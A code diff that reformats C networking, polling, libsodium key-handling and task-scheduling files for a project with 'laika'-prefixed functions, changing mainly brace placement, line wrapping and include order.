*/
|
||||||
nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout);
|
nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout);
|
||||||
|
|
||||||
if (SOCKETERROR(nEvents))
|
if (SOCKETERROR(nEvents))
|
||||||
@ -210,15 +229,16 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
|||||||
|
|
||||||
for (i = 0; i < nEvents; i++) {
|
for (i = 0; i < nEvents; i++) {
|
||||||
/* add event to revent array */
|
/* add event to revent array */
|
||||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
|
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
|
||||||
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
|
pList->reventCap);
|
||||||
.sock = pList->ep_events[i].data.ptr,
|
pList->revents[pList->reventCount++] =
|
||||||
.pollIn = pList->ep_events[i].events & EPOLLIN,
|
(struct sLaika_pollEvent){.sock = pList->ep_events[i].data.ptr,
|
||||||
.pollOut = pList->ep_events[i].events & EPOLLOUT
|
.pollIn = pList->ep_events[i].events & EPOLLIN,
|
||||||
};
|
.pollOut = pList->ep_events[i].events & EPOLLOUT};
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
nEvents = poll(pList->fds, pList->fdCount, timeout); /* poll returns -1 for error, or the number of events */
|
nEvents = poll(pList->fds, pList->fdCount,
|
||||||
|
timeout); /* poll returns -1 for error, or the number of events */
|
||||||
|
|
||||||
if (SOCKETERROR(nEvents))
|
if (SOCKETERROR(nEvents))
|
||||||
LAIKA_ERROR("poll() failed!\n");
|
LAIKA_ERROR("poll() failed!\n");
|
||||||
@ -228,15 +248,16 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
|||||||
PollFD pfd = pList->fds[i];
|
PollFD pfd = pList->fds[i];
|
||||||
if (pList->fds[i].revents != 0) {
|
if (pList->fds[i].revents != 0) {
|
||||||
/* grab socket from hashmap */
|
/* grab socket from hashmap */
|
||||||
tLaika_hashMapElem *elem = (tLaika_hashMapElem*)hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
|
tLaika_hashMapElem *elem = (tLaika_hashMapElem *)hashmap_get(
|
||||||
|
pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
|
||||||
|
|
||||||
/* insert event into revents array */
|
/* insert event into revents array */
|
||||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
|
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
|
||||||
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
|
pList->reventCap);
|
||||||
.sock = elem->sock,
|
pList->revents[pList->reventCount++] =
|
||||||
.pollIn = pfd.revents & POLLIN,
|
(struct sLaika_pollEvent){.sock = elem->sock,
|
||||||
.pollOut = pfd.revents & POLLOUT
|
.pollIn = pfd.revents & POLLIN,
|
||||||
};
|
.pollOut = pfd.revents & POLLOUT};
|
||||||
|
|
||||||
nEvents--;
|
nEvents--;
|
||||||
}
|
}
|
||||||
@ -249,7 +270,8 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
|||||||
return pList->revents;
|
return pList->revents;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaP_handleEvent(struct sLaika_pollEvent *evnt) {
|
bool laikaP_handleEvent(struct sLaika_pollEvent *evnt)
|
||||||
|
{
|
||||||
bool result = true;
|
bool result = true;
|
||||||
|
|
||||||
/* sanity check */
|
/* sanity check */
|
||||||
|
@ -1,14 +1,17 @@
|
|||||||
|
#include "lsocket.h"
|
||||||
|
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
|
#include "lpacket.h"
|
||||||
#include "lpolllist.h"
|
#include "lpolllist.h"
|
||||||
#include "lsodium.h"
|
#include "lsodium.h"
|
||||||
#include "lsocket.h"
|
|
||||||
#include "lpacket.h"
|
|
||||||
|
|
||||||
static int _LNSetup = 0;
|
static int _LNSetup = 0;
|
||||||
|
|
||||||
bool laikaS_isBigEndian(void) {
|
bool laikaS_isBigEndian(void)
|
||||||
union {
|
{
|
||||||
|
union
|
||||||
|
{
|
||||||
uint32_t i;
|
uint32_t i;
|
||||||
uint8_t c[4];
|
uint8_t c[4];
|
||||||
} _indxint = {0xDEADB33F};
|
} _indxint = {0xDEADB33F};
|
||||||
@ -16,7 +19,8 @@ bool laikaS_isBigEndian(void) {
|
|||||||
return _indxint.c[0] == 0xDE;
|
return _indxint.c[0] == 0xDE;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_init(void) {
|
void laikaS_init(void)
|
||||||
|
{
|
||||||
if (_LNSetup++ > 0)
|
if (_LNSetup++ > 0)
|
||||||
return; /* WSA is already setup! */
|
return; /* WSA is already setup! */
|
||||||
|
|
||||||
@ -28,7 +32,8 @@ void laikaS_init(void) {
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_cleanUp(void) {
|
void laikaS_cleanUp(void)
|
||||||
|
{
|
||||||
if (--_LNSetup > 0)
|
if (--_LNSetup > 0)
|
||||||
return; /* WSA still needs to be up, a socket is still running */
|
return; /* WSA still needs to be up, a socket is still running */
|
||||||
|
|
||||||
@ -37,7 +42,9 @@ void laikaS_cleanUp(void) {
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData) {
|
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
|
||||||
|
pollFailEvent onPollFail, void *uData)
|
||||||
|
{
|
||||||
sock->sock = INVALID_SOCKET;
|
sock->sock = INVALID_SOCKET;
|
||||||
sock->onPollFail = onPollFail;
|
sock->onPollFail = onPollFail;
|
||||||
sock->onPollIn = onPollIn;
|
sock->onPollIn = onPollIn;
|
||||||
@ -55,7 +62,8 @@ void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent
|
|||||||
laikaS_init();
|
laikaS_init();
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_cleanSocket(struct sLaika_socket *sock) {
|
void laikaS_cleanSocket(struct sLaika_socket *sock)
|
||||||
|
{
|
||||||
/* free in & out arrays */
|
/* free in & out arrays */
|
||||||
laikaM_free(sock->inBuf);
|
laikaM_free(sock->inBuf);
|
||||||
laikaM_free(sock->outBuf);
|
laikaM_free(sock->outBuf);
|
||||||
@ -65,7 +73,8 @@ void laikaS_cleanSocket(struct sLaika_socket *sock) {
|
|||||||
laikaS_cleanUp();
|
laikaS_cleanUp();
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_kill(struct sLaika_socket *sock) {
|
void laikaS_kill(struct sLaika_socket *sock)
|
||||||
|
{
|
||||||
if (!laikaS_isAlive(sock)) /* sanity check */
|
if (!laikaS_isAlive(sock)) /* sanity check */
|
||||||
return;
|
return;
|
||||||
|
|
||||||
@ -80,7 +89,8 @@ void laikaS_kill(struct sLaika_socket *sock) {
|
|||||||
sock->sock = INVALID_SOCKET;
|
sock->sock = INVALID_SOCKET;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
|
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port)
|
||||||
|
{
|
||||||
struct addrinfo res, *result, *curr;
|
struct addrinfo res, *result, *curr;
|
||||||
|
|
||||||
if (!SOCKETINVALID(sock->sock))
|
if (!SOCKETINVALID(sock->sock))
|
||||||
@ -95,14 +105,15 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
|
|||||||
if (getaddrinfo(ip, port, &res, &result) != 0)
|
if (getaddrinfo(ip, port, &res, &result) != 0)
|
||||||
LAIKA_ERROR("getaddrinfo() failed!\n");
|
LAIKA_ERROR("getaddrinfo() failed!\n");
|
||||||
|
|
||||||
/* getaddrinfo returns a list of possible addresses, step through them and try them until we find a valid address */
|
/* getaddrinfo returns a list of possible addresses, step through them and try them until we
|
||||||
|
* find a valid address */
|
||||||
for (curr = result; curr != NULL; curr = curr->ai_next) {
|
for (curr = result; curr != NULL; curr = curr->ai_next) {
|
||||||
sock->sock = socket(curr->ai_family, curr->ai_socktype, curr->ai_protocol);
|
sock->sock = socket(curr->ai_family, curr->ai_socktype, curr->ai_protocol);
|
||||||
|
|
||||||
/* if it failed, try the next sock */
|
/* if it failed, try the next sock */
|
||||||
if (SOCKETINVALID(sock->sock))
|
if (SOCKETINVALID(sock->sock))
|
||||||
continue;
|
continue;
|
||||||
|
|
||||||
/* if it's not an invalid socket, break and exit the loop, we found a working addr! */
|
/* if it's not an invalid socket, break and exit the loop, we found a working addr! */
|
||||||
if (!SOCKETINVALID(connect(sock->sock, curr->ai_addr, curr->ai_addrlen)))
|
if (!SOCKETINVALID(connect(sock->sock, curr->ai_addr, curr->ai_addrlen)))
|
||||||
break;
|
break;
|
||||||
@ -116,7 +127,8 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
|
|||||||
LAIKA_ERROR("couldn't connect a valid address handle to socket!\n");
|
LAIKA_ERROR("couldn't connect a valid address handle to socket!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
void laikaS_bind(struct sLaika_socket *sock, uint16_t port)
|
||||||
|
{
|
||||||
socklen_t addressSize;
|
socklen_t addressSize;
|
||||||
struct sockaddr_in6 address;
|
struct sockaddr_in6 address;
|
||||||
int opt = 1;
|
int opt = 1;
|
||||||
@ -129,9 +141,9 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
|||||||
if (SOCKETINVALID(sock->sock))
|
if (SOCKETINVALID(sock->sock))
|
||||||
LAIKA_ERROR("socket() failed!\n");
|
LAIKA_ERROR("socket() failed!\n");
|
||||||
|
|
||||||
/* allow reuse of local address */
|
/* allow reuse of local address */
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0)
|
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char *)&opt, sizeof(int)) != 0)
|
||||||
#else
|
#else
|
||||||
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0)
|
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0)
|
||||||
#endif
|
#endif
|
||||||
@ -144,18 +156,19 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
|||||||
addressSize = sizeof(address);
|
addressSize = sizeof(address);
|
||||||
|
|
||||||
/* bind to the port */
|
/* bind to the port */
|
||||||
if (SOCKETERROR(bind(sock->sock, (struct sockaddr*)&address, addressSize)))
|
if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize)))
|
||||||
LAIKA_ERROR("bind() failed!\n");
|
LAIKA_ERROR("bind() failed!\n");
|
||||||
|
|
||||||
if (SOCKETERROR(listen(sock->sock, SOMAXCONN)))
|
if (SOCKETERROR(listen(sock->sock, SOMAXCONN)))
|
||||||
LAIKA_ERROR("listen() failed!\n");
|
LAIKA_ERROR("listen() failed!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip) {
|
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip)
|
||||||
|
{
|
||||||
struct sockaddr_in6 address;
|
struct sockaddr_in6 address;
|
||||||
socklen_t addressSize = sizeof(address);
|
socklen_t addressSize = sizeof(address);
|
||||||
|
|
||||||
sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize);
|
sock->sock = accept(from->sock, (struct sockaddr *)&address, &addressSize);
|
||||||
if (SOCKETINVALID(sock->sock))
|
if (SOCKETINVALID(sock->sock))
|
||||||
LAIKA_ERROR("accept() failed!\n");
|
LAIKA_ERROR("accept() failed!\n");
|
||||||
|
|
||||||
@ -166,7 +179,8 @@ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, c
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaS_setNonBlock(struct sLaika_socket *sock) {
|
bool laikaS_setNonBlock(struct sLaika_socket *sock)
|
||||||
|
{
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
unsigned long mode = 1;
|
unsigned long mode = 1;
|
||||||
if (ioctlsocket(sock->sock, FIONBIO, &mode) != 0) {
|
if (ioctlsocket(sock->sock, FIONBIO, &mode) != 0) {
|
||||||
@ -181,11 +195,13 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) {
|
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz)
|
||||||
|
{
|
||||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) {
|
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz)
|
||||||
|
{
|
||||||
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
|
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
|
||||||
|
|
||||||
/* set NULL bytes */
|
/* set NULL bytes */
|
||||||
@ -193,12 +209,14 @@ void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) {
|
|||||||
sock->outCount += sz;
|
sock->outCount += sz;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
|
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||||
|
{
|
||||||
memcpy(buf, sock->inBuf, sz);
|
memcpy(buf, sock->inBuf, sz);
|
||||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
|
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||||
|
{
|
||||||
/* make sure we have enough space to copy the buffer */
|
/* make sure we have enough space to copy the buffer */
|
||||||
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
|
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
|
||||||
|
|
||||||
@ -207,7 +225,8 @@ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
|
|||||||
sock->outCount += sz;
|
sock->outCount += sz;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) {
|
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub)
|
||||||
|
{
|
||||||
/* make sure we have enough space to encrypt the buffer */
|
/* make sure we have enough space to encrypt the buffer */
|
||||||
laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);
|
laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);
|
||||||
|
|
||||||
@ -218,7 +237,9 @@ void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, ui
|
|||||||
sock->outCount += LAIKAENC_SIZE(sz);
|
sock->outCount += LAIKAENC_SIZE(sz);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) {
|
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
|
||||||
|
uint8_t *priv)
|
||||||
|
{
|
||||||
/* decrypt into buf */
|
/* decrypt into buf */
|
||||||
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
|
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
|
||||||
LAIKA_ERROR("Failed to decrypt!\n");
|
LAIKA_ERROR("Failed to decrypt!\n");
|
||||||
@ -226,12 +247,14 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin
|
|||||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
|
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) {
|
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data)
|
||||||
|
{
|
||||||
laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap);
|
laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap);
|
||||||
sock->outBuf[sock->outCount++] = data;
|
sock->outBuf[sock->outCount++] = data;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t laikaS_readByte(struct sLaika_socket *sock) {
|
uint8_t laikaS_readByte(struct sLaika_socket *sock)
|
||||||
|
{
|
||||||
uint8_t tmp = *sock->inBuf;
|
uint8_t tmp = *sock->inBuf;
|
||||||
|
|
||||||
/* pop 1 byte */
|
/* pop 1 byte */
|
||||||
@ -239,17 +262,18 @@ uint8_t laikaS_readByte(struct sLaika_socket *sock) {
|
|||||||
return tmp;
|
return tmp;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) {
|
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||||
|
{
|
||||||
if (sock->flipEndian) {
|
if (sock->flipEndian) {
|
||||||
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
|
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
|
||||||
int k;
|
int k;
|
||||||
|
|
||||||
laikaS_read(sock, (void*)tmp, sz);
|
laikaS_read(sock, (void *)tmp, sz);
|
||||||
|
|
||||||
/* copy tmp buffer to user buffer, flipping endianness */
|
/* copy tmp buffer to user buffer, flipping endianness */
|
||||||
for (k = 0; k < sz; k++)
|
for (k = 0; k < sz; k++)
|
||||||
*((uint8_t*)buf + k) = tmp[sz - k - 1];
|
*((uint8_t *)buf + k) = tmp[sz - k - 1];
|
||||||
|
|
||||||
ENDVLA(tmp);
|
ENDVLA(tmp);
|
||||||
} else {
|
} else {
|
||||||
/* just a wrapper for laikaS_read */
|
/* just a wrapper for laikaS_read */
|
||||||
@ -257,16 +281,17 @@ void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) {
|
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||||
|
{
|
||||||
if (sock->flipEndian) {
|
if (sock->flipEndian) {
|
||||||
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
|
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
|
||||||
int k;
|
int k;
|
||||||
|
|
||||||
/* copy user buffer to tmp buffer, flipping endianness */
|
/* copy user buffer to tmp buffer, flipping endianness */
|
||||||
for (k = 0; k < sz; k++)
|
for (k = 0; k < sz; k++)
|
||||||
tmp[k] = *((uint8_t*)buf + (sz - k - 1));
|
tmp[k] = *((uint8_t *)buf + (sz - k - 1));
|
||||||
|
|
||||||
laikaS_write(sock, (void*)tmp, sz);
|
laikaS_write(sock, (void *)tmp, sz);
|
||||||
ENDVLA(tmp);
|
ENDVLA(tmp);
|
||||||
} else {
|
} else {
|
||||||
/* just a wrapper for laikaS_write */
|
/* just a wrapper for laikaS_write */
|
||||||
@ -274,7 +299,8 @@ void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) {
|
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
|
||||||
|
{
|
||||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||||
int i, rcvd, start = sock->inCount;
|
int i, rcvd, start = sock->inCount;
|
||||||
|
|
||||||
@ -284,14 +310,16 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
|
|||||||
|
|
||||||
/* make sure we have enough space to recv */
|
/* make sure we have enough space to recv */
|
||||||
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
|
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
|
||||||
rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
|
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
|
||||||
|
|
||||||
if (rcvd == 0) {
|
if (rcvd == 0) {
|
||||||
errCode = RAWSOCK_CLOSED;
|
errCode = RAWSOCK_CLOSED;
|
||||||
} else if (SOCKETERROR(rcvd) && LN_ERRNO != LN_EWOULD
|
} else if (SOCKETERROR(rcvd) &&
|
||||||
|
LN_ERRNO != LN_EWOULD
|
||||||
#ifndef _WIN32
|
#ifndef _WIN32
|
||||||
/* if it's a posix system, also make sure its not a EAGAIN result (which is a recoverable error, there's just nothing to read lol) */
|
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
|
||||||
&& LN_ERRNO != EAGAIN
|
recoverable error, there's just nothing to read lol) */
|
||||||
|
&& LN_ERRNO != EAGAIN
|
||||||
#endif
|
#endif
|
||||||
) {
|
) {
|
||||||
/* if the socket closed or an error occurred, return the error result */
|
/* if the socket closed or an error occurred, return the error result */
|
||||||
@ -318,13 +346,15 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
|
|||||||
return errCode;
|
return errCode;
|
||||||
}
|
}
|
||||||
|
|
||||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed) {
|
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed)
|
||||||
|
{
|
||||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||||
int sent, i, sentBytes = 0;
|
int sent, i, sentBytes = 0;
|
||||||
|
|
||||||
/* write bytes to the socket until an error occurs or we finish sending */
|
/* write bytes to the socket until an error occurs or we finish sending */
|
||||||
do {
|
do {
|
||||||
sent = send(sock->sock, (buffer_t*)(&sock->outBuf[sentBytes]), sz - sentBytes, LN_MSG_NOSIGNAL);
|
sent = send(sock->sock, (buffer_t *)(&sock->outBuf[sentBytes]), sz - sentBytes,
|
||||||
|
LN_MSG_NOSIGNAL);
|
||||||
|
|
||||||
/* check for error result */
|
/* check for error result */
|
||||||
if (sent == 0) { /* connection closed gracefully */
|
if (sent == 0) { /* connection closed gracefully */
|
||||||
@ -333,7 +363,8 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
|
|||||||
} else if (SOCKETERROR(sent)) { /* socket error? */
|
} else if (SOCKETERROR(sent)) { /* socket error? */
|
||||||
if (LN_ERRNO != LN_EWOULD
|
if (LN_ERRNO != LN_EWOULD
|
||||||
#ifndef _WIN32
|
#ifndef _WIN32
|
||||||
/* posix also has some platforms which define EAGAIN as a different value than EWOULD, might as well support it. */
|
/* posix also has some platforms which define EAGAIN as a different value than
|
||||||
|
EWOULD, might as well support it. */
|
||||||
&& LN_ERRNO != EAGAIN
|
&& LN_ERRNO != EAGAIN
|
||||||
#endif
|
#endif
|
||||||
) { /* socket error! */
|
) { /* socket error! */
|
||||||
@ -348,7 +379,7 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
|
|||||||
errCode = RAWSOCK_POLL;
|
errCode = RAWSOCK_POLL;
|
||||||
goto _rawWriteExit;
|
goto _rawWriteExit;
|
||||||
}
|
}
|
||||||
} while((sentBytes += sent) < sz);
|
} while ((sentBytes += sent) < sz);
|
||||||
|
|
||||||
_rawWriteExit:
|
_rawWriteExit:
|
||||||
#if 0
|
#if 0
|
||||||
|
@ -2,23 +2,28 @@
|
|||||||
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
|
||||||
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv) {
|
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv)
|
||||||
|
{
|
||||||
size_t _unused;
|
size_t _unused;
|
||||||
|
|
||||||
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL, &_unused, NULL) != 0)
|
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL,
|
||||||
return false;
|
&_unused, NULL) != 0)
|
||||||
|
return false;
|
||||||
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL, &_unused, NULL) != 0)
|
|
||||||
|
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL,
|
||||||
|
&_unused, NULL) != 0)
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) {
|
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv)
|
||||||
|
{
|
||||||
return crypto_kx_keypair(outPub, outPriv) == 0;
|
return crypto_kx_keypair(outPub, outPriv) == 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) {
|
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
/* check if key is in authKey list */
|
/* check if key is in authKey list */
|
||||||
|
@ -1,19 +1,24 @@
|
|||||||
#include "lmem.h"
|
|
||||||
#include "ltask.h"
|
#include "ltask.h"
|
||||||
|
|
||||||
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms
|
#include "lmem.h"
|
||||||
also side note: microsoft? more like micropenis */
|
|
||||||
long laikaT_getTime() {
|
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get
|
||||||
|
the current time in ms also side note: microsoft? more like micropenis */
|
||||||
|
long laikaT_getTime()
|
||||||
|
{
|
||||||
struct timespec ts;
|
struct timespec ts;
|
||||||
timespec_get(&ts, TIME_UTC);
|
timespec_get(&ts, TIME_UTC);
|
||||||
return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert time (seconds & nanoseconds) to milliseconds */
|
return ts.tv_sec * 1000 +
|
||||||
|
ts.tv_nsec / 1000000; /* convert time (seconds & nanoseconds) to milliseconds */
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaT_initTaskService(struct sLaika_taskService *service) {
|
void laikaT_initTaskService(struct sLaika_taskService *service)
|
||||||
|
{
|
||||||
service->headTask = NULL;
|
service->headTask = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaT_cleanTaskService(struct sLaika_taskService *service) {
|
void laikaT_cleanTaskService(struct sLaika_taskService *service)
|
||||||
|
{
|
||||||
struct sLaika_task *curr = service->headTask, *last;
|
struct sLaika_task *curr = service->headTask, *last;
|
||||||
|
|
||||||
/* walk though tasks, freeing all */
|
/* walk though tasks, freeing all */
|
||||||
@ -24,7 +29,8 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
|
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
|
||||||
|
{
|
||||||
struct sLaika_task *curr = service->headTask, *last = NULL;
|
struct sLaika_task *curr = service->headTask, *last = NULL;
|
||||||
|
|
||||||
task->scheduled = laikaT_getTime() + task->delta;
|
task->scheduled = laikaT_getTime() + task->delta;
|
||||||
@ -47,7 +53,8 @@ void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
|
void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
|
||||||
|
{
|
||||||
struct sLaika_task *curr = service->headTask, *last = NULL;
|
struct sLaika_task *curr = service->headTask, *last = NULL;
|
||||||
|
|
||||||
if (task == service->headTask) { /* if task is root, set root to next */
|
if (task == service->headTask) { /* if task is root, set root to next */
|
||||||
